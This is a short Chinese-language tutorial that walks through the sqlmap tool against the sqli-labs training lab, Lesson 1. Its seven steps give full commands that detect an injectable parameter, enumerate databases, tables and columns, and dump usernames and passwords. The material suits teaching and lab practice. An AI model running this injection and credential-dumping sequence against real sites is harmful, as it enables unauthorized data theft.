1、所有参数以sqli-labs第一关为例， python2 sqlmap.py -u "http://10.10.10.1/sqli-labs-master/Less-1/?id=1" -u针对目标网站id参数注入测试，也可后面添加&uid=2",所有参数进行测试，检测出含有id注入漏洞。
2、获取当前数据库参数--current-db， python2 sqlmap.py -u "http://10.10.10.1/sqli-labs-master/Less-1/?id=1" --current-db。检测出当前数据库名称为
security。
3、--current-user检测当前用户参数， python2 sqlmap.py -u "http://10.10.10.1/sqli-labs-master/Less-1/?id=1" --current-user，检测出当前用户为root。
4、--dbs检测出数据库中所有库的名称， python2 sqlmap.py -u "http://10.10.10.1/sqli-labs-master/Less-1/?id=1" --dbs。
5、-D 数据库 --tables获取参数中数据所有表的名称， python2 sqlmap.py -u "http://10.10.10.1/sqli-labs-master/Less-1/?id=1" -D security --tables。
6、-D 数据库 -T 表 --columns获取参数中数据中表的所有列， python2 sqlmap.py -u "http://10.10.10.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns,以users表为例如下。
7、-D security -T users -C username,password -dump获取security数控中users表中username跟password的数据信息，python2 sqlmap.py -u "http://10.10.10.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump。
